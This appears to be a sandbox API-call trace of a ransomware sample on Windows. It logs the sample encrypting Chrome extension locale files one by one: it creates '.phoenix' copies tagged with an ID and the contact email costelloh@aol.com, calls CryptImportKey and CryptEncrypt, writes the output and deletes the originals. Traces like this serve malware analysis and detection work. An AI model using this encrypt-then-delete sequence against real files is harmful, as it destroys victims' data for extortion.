	[0261.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json")) returned 0x20
	[0261.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.686] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.686] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.686] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.686] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.686] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0261.687] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.687] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd5, lpOverlapped=0x0) returned 1
	[0261.688] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0261.688] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0261.689] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0261.689] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.689] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.689] CryptDestroyKey (hKey=0x151200) returned 1
	[0261.689] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.689] CryptDestroyKey (hKey=0x151340) returned 1
	[0261.689] CloseHandle (hObject=0x310) returned 1
	[0261.689] CloseHandle (hObject=0x2c0) returned 1
	[0261.693] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json")) returned 1
	[0261.694] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.694] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.695] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=198) returned 1
	[0261.695] CloseHandle (hObject=0x2c0) returned 1
	[0261.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json")) returned 0x20
	[0261.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.695] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.695] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.695] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.695] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.696] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1511c0) returned 1
	[0261.696] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.696] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc6, lpOverlapped=0x0) returned 1
	[0261.697] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0, dwBufLen=0xd0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0) returned 1
	[0261.697] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xd0, lpOverlapped=0x0) returned 1
	[0261.698] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0261.698] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.698] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.698] CryptDestroyKey (hKey=0x151640) returned 1
	[0261.698] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.698] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0261.698] CloseHandle (hObject=0x2c0) returned 1
	[0261.698] CloseHandle (hObject=0x310) returned 1
	[0261.698] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json")) returned 1
	[0261.699] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.699] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.700] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=387) returned 1
	[0261.700] CloseHandle (hObject=0x310) returned 1
	[0261.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json")) returned 0x20
	[0261.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.700] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.700] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.700] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.700] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.701] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0261.701] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.701] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x183, lpOverlapped=0x0) returned 1
	[0261.752] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x190, dwBufLen=0x190 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x190) returned 1
	[0261.752] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x190, lpOverlapped=0x0) returned 1
	[0261.754] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151300) returned 1
	[0261.754] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.754] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.754] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.754] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.762] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.762] CloseHandle (hObject=0x310) returned 1
	[0261.762] CloseHandle (hObject=0x2c0) returned 1
	[0261.762] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json")) returned 1
	[0261.763] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.763] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.764] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=150) returned 1
	[0261.764] CloseHandle (hObject=0x2c0) returned 1
	[0261.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json")) returned 0x20
	[0261.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.764] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.764] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.764] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.764] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.765] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0261.765] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.765] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x96, lpOverlapped=0x0) returned 1
	[0261.766] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa0, dwBufLen=0xa0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa0) returned 1
	[0261.766] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa0, lpOverlapped=0x0) returned 1
	[0261.767] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0261.767] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.767] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.767] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0261.767] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.767] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.767] CloseHandle (hObject=0x2c0) returned 1
	[0261.767] CloseHandle (hObject=0x310) returned 1
	[0261.767] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json")) returned 1
	[0261.768] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.768] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.768] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=180) returned 1
	[0261.768] CloseHandle (hObject=0x310) returned 1
	[0261.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json")) returned 0x20
	[0261.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.769] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.769] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.769] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.769] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.769] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151740) returned 1
